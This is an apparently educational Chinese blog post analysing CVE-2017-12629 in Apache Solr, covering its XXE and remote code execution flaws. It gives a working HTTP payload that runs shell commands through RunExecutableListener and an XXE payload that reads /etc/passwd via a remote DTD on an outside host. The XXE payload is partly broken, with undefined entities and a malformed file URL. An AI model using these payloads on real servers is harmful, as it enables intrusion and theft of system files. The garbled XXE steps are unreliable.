目录
前言:作为初学者学习XXE漏洞时,了解到CVE-2017-12629这个漏洞,出于学习原理的目的进行学习。这个漏洞的原理分析有欠缺之处,感觉还有一些细节理解的不是特别好,之后会随着学习的深入,不断修改进度。如果有不对的地方,求轻喷。
CVE-2017-12629简介
pache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。
原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE)。
漏洞影响版本:Apache Solr before 7.1 with Apache Lucene before 7.1
漏洞原理
XXE漏洞:
在/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java文件,通过查看调用栈中的数据处理流程(IDEA中Debug可查看方法调用顺序),在调用lucene xml解析器时确实没有对DTD和外部实体进行禁用处理,造成了Blind XXE。
在这里卡断点,解析XML时调用的方法。
一路追踪,得到所有的调用方法
其中没有对DTD和外部实体的过滤。
RCE漏洞:
依据漏洞作者所披露的漏洞细节来看,RCE需要使用到SolrCloud Collections API,所以RCE只影响Solrcloud分布式系统。
RunExecutableListener类中使用了Runtime.getRuntime().exec()方法,可用于在某些特定事件中执行任意命令
使用了config API传入add-listener命令即可调用RunExecutableListener
触发RCE的事件:通过查看代码,能够触发命令执行的事件有两个:postCommit() 和 newSearcher()
- 使用postCommit时,需要使用update进行collection更新后命令才会执行,因此需要两次进行请求
- 而使用newSearcher时可直接执行命令
这一点会在下面的漏洞复现有所体现。
漏洞原理总结概括:
- 触发XXE:调用lucene xml解析器时确实没有对DTD和外部实体进行禁用处理,造成了Blind XXE
- 触发RCE:config API传入add-listener命令即可调用RunExecutableListener类中的Runtime.getRuntime().exec(),执行命令
漏洞复现
RCE复现
用postCommit要两步,用newSearcher一步即可,所以推荐用newSearcher的方法简单快捷。
通过newSearcher命令执行。一个数据包即可。构造paylaod:
POST /solr/demo/config HTTP/1.1
Host:
Content-Length: 170
Content-Type: application/json
{"add-listener":{"event":"newSearcher","name":"newSearcher3","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}
执行docker-compose exec solr bash
进入容器,可见/tmp/success
已成功创建
另外一种构造方式参考:Vulhub - Docker-Compose file for vulnerability environment
XXE复现
基于错误回显的XXE利用,就是远程DTD,把信息放在报错信息中返回。
构造1.dtd放在本地
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
构造payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY %aaa SYSTEM"http://vps-ip:port/1.dtd">
<!ENTITY %bbb SYSTEM"file://etc/passwd">
%aaa;
%ccc;
%ddd;
]>
/solr/demo/select?q=<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY %aaa SYSTEM"http://vps-ip:port/1.dtd">
<!ENTITY %bbb SYSTEM"file://etc/passwd">
%aaa;
%ccc;
%ddd;
]>&wt=xml&defType=xmlparser
URL编码在线:http://www.jsons.cn/urlencode/